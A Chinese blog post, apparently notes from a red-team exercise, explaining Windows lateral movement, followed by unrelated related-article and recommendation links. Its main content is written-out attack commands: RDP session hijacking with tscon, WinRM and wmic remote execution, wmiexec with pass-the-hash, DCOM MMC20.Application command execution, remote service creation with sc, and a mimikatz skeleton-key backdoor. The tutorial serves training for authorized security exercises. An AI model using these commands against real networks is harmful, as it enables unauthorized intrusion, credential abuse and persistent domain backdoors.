简介

这次去宁夏护网,发现我有的朋友连最基本的横向渗透有些都不晓得,他们问我 我也表达不清楚...,就想着写篇文章总结下吧

(慢慢更..)

可以发我邮箱讨论:muxue@protonmail.com

Tscon

我这里用的是Windows Server 2012利用PSEXEC提升至system权限

在一个机子上要是有多个用户登录,可以使用query user或者在任务管理器里查看状态



我们普通用户连接是需要密码的,但是system权限下就不需要

  1. 首先获取目标用户的id

    query user username

  1. 连接用户

    tscon id

    tscon id /dest:console

我是直接rdp了 没有出现一个新的控制台,有大佬解决办法 拜托call一声

WinRM

winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP(5985)或HTTPS SOAP(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。 你需要管理员身份才能使用它。

适用版本:适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。

需要先配置

// 查看
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"} // 开启 本地
winrm quickconfig -q
or
Enable-PSRemoting -Force



还得接着配置

winrm set winrm/config/Client @{TrustedHosts="*"}   // 通配
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com"}
winrm set winrm/config/Client @{TrustedHosts="*.baidu.com,IP"} // 查看信任主机
winrm get winrm/config/client|findstr TrustedHosts // Attack
winrs -r:192.168.0.114 -u:administrator -p:pass whoami

WMI

从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息

wmic /node:ip /user:administrator /password:pass process call create "command"

然后我要重点写下WMIEXECimpacket里有py版本的,也有psc#的;我这里先记录vbs的

虽然有半shell 和 执行单条命令,但是我执行单条命令他给我返回了半交互式shell

cscript.exe //nologo wmiexec.vbs /shell ip username password



然后我们尝试使用hash(ps1,py,vbs的也可以 需要wce注入hash)

wce –s 账号:主机名或域的名字:LM:NTLM

cscript //nologo wmiexec.vbs /shell ip

python

python3 wmiexec.py muxue.com/administrator@10.10.0.128 -hashes lm:ntlm



ps

Invoke-WmiExec -target 10.10.0.128 -hash hash -username "administrator" -command calc

当然还有好多款工具是基于wmi的横向工具:

https://github.com/360-Linton-Lab/WMIHACKER

https://github.com/QAX-A-Team/sharpwmi

DOCM

先说下COM和DCOM是啥东西

COM:COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。

DCOM:DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求

也就是DCOM是COM(组件对象模型)的扩展

所以执行命令也得需要看组件

DCOM执行命令可以分为两种:

  1. 本地执行
  2. 对远程执行

在本地通过DCOM执行命令

  1. 先获取本地DCOM程序列表

使用一个powershell命令(在version3以上才有),Get-CimInstance

Get-CimInstance Win32_DCOMApplication, 低版本可以用Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication



我们使用MMC20.APPLICATION COM 这个组件来进行命令执行



此 COM 对象允许您编写 MMC 管理单元操作的组件的脚本

2. 创建一个实例

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))

注意要在管理员模式下

  1. 获取实例后,然后查看COM对象中的不同方法和属性

    $com.Document.ActiveView | Get-Member

  2. 然后调用这个方法执行命令

    $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")

使用DCOM对远程主机执行命令

  1. 简历ipc
  2. 创建实例:$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","ip"))
  3. 执行:$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\1.exe","Minimized")

    还有很多组件也可以执行命令 参考https://www.freebuf.com/articles/network/261454.html

SC

服务配置管理器

// 创建
sc \\ip create systemhelp binpath="cmd.exe /d c:/test.exe" start=auto // 查看信息
sc \\ip qc systemhelp // 开启
sc \\ip start systemhelp // 删除
sc \\ip delete systemhelp /y



也可以使用scshellhttps://github.com/Mr-Un1k0d3r/SCShell

SMB RELAY

SMB中继的攻击手法 可以去搜着看,或者我以后写出来..



set AutoRunScript post/windows/manage/migrate

Skeleton Key

也就是万能密码

用mimikatz就可以实现

privilege::debug
misc::skeleton

会为所有用户加一个,mimikatz的密码

配个图

Lateral Movement的更多相关文章

  1. Day 3 @ RSA Conference Asia Pacific & Japan 2016 (morning)

    09.00 – 09.45 hrs Tracks Cloud, Mobile, & IoT Security    A New Security Paradigm for IoT (Inter ...

  2. Coablt strike官方教程中文译版本

    安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...

  3. 开源流量分析系统 Apache Spot 概述(转)

    原文地址http://blog.nsfocus.net/apache-spot/ Apache Spot 是一个基于网络流量和数据包分析,通过独特的机器学习方法,发现潜在安全威胁和未知网络攻击能力的开 ...

  4. Coablt strike官方教程中文版

    安装和设置 系统要求 Cobalt Strike的最低系统要求 2 GHz +以上的cpu 2 GB RAM 500MB +可用空间 在Amazon的EC2上,至少使用较高核数的CPU(c1.medi ...

  5. ATT&CK框架学习

     ATT&CK模型 ATT&CK是分析攻击者行为(即TTPs)的威胁分析框架.ATT&CK框架核心就是以矩阵形式展现的TTPs,即Tactics, Techniques and ...

  6. ATT&CK模型

    Credential Dumping(凭证窃取) Dump credentials from LSASS(从LSASS中窃取凭证) 实现原理: This technique injects into ...

  7. 【路径规划】 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame (附python代码实例)

    参考与前言 2010年,论文 Optimal Trajectory Generation for Dynamic Street Scenarios in a Frenet Frame 地址:https ...

  8. hive 使用笔记(table format;lateral view)

    1. create table 创建一张目标表,指定分隔符和存储格式: create table tmp_2 (resource_id bigint ,v int) ROW FORMAT DELIMI ...

  9. JQuery时间轴timeline插件的学习-Lateral On-Scroll Sliding with jQuery+technotarek / timeliner

    一.Lateral On-Scroll Sliding with jQuery的使用 View demo      Download source 1. HTML结构 <div id=" ...

随机推荐

  1. python画图库及函数,绘制图片从文件提取出来的数据集转化为int,不然作为坐标轴的时候因为是字符串而无法排序

    转化int:  

  2. hbuilder 开发app 自动升级

    使用huilder 开发app  ,实现app升级功能 1. var wgtVer = null; //用于获取系统当前版本 var currentversion = null; //用于获取系统最新 ...

  3. keycloak~账号密码认证和授权码认证

    用户名密码登录 POST /auth/realms/demo/protocol/openid-connect/token 请求体 x-www-form-urlencoded grant_type:pa ...

  4. “限时分享“ 本地80个小游戏 HTML+CSS+JS源码分享

    ​ 里面有80款小游戏源码,支持内置导航,可以拿来练手或者消磨时间,具体功能以及游戏请看下图 ​ ​ ​ ​ ​ ​ ​ ​ 维京战争小游戏源码 链接:https://pan.baidu.com/s/ ...

  5. SQL查询语句中参数带有中文查询不到结果

    今天写个小demo的时候发现sql语句里面的username为中文的时候就不能查到正确结果,sql语句如下: String sql = "select * from user where u ...

  6. redis阻塞原因以及处理方案

    来源:https://blog.csdn.net/francis123580/article/details/82500700 Redis是单线程架构,在高并发的场景下,如果出现阻塞,会有严重后果,以 ...

  7. netcore3.1 + vue (前后端分离)生成PDF(多pdf合并)返回前端打印

    1.使用Adobe Acrobat XI Pro编辑pdf模板 2.公共类代码 3.service层调用 4.Controller层 5.前端(Vue) 因为print.js不支持宋体,所以打算用后台 ...

  8. GKCTF X DASCTF 2021_babycat复现学习

    17解的一道题,涉及到了java反序列化的知识,学习了. 看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚. 打开后是个登录框,sign up提示不让注册, ...

  9. adb bat

    @REM 生成随机数@echo off@REM 设置延迟变量setlocal enabledelayedexpansionset min=9set max=21set /a mod=!max!-!mi ...

  10. PYTHON 错误提示:ModuleNotFoundError: No module named 'cv2'

    ModuleNotFoundError: No module named 'cv2' 解决方法: pip install -i https://pypi.tuna.tsinghua.edu.cn/si ...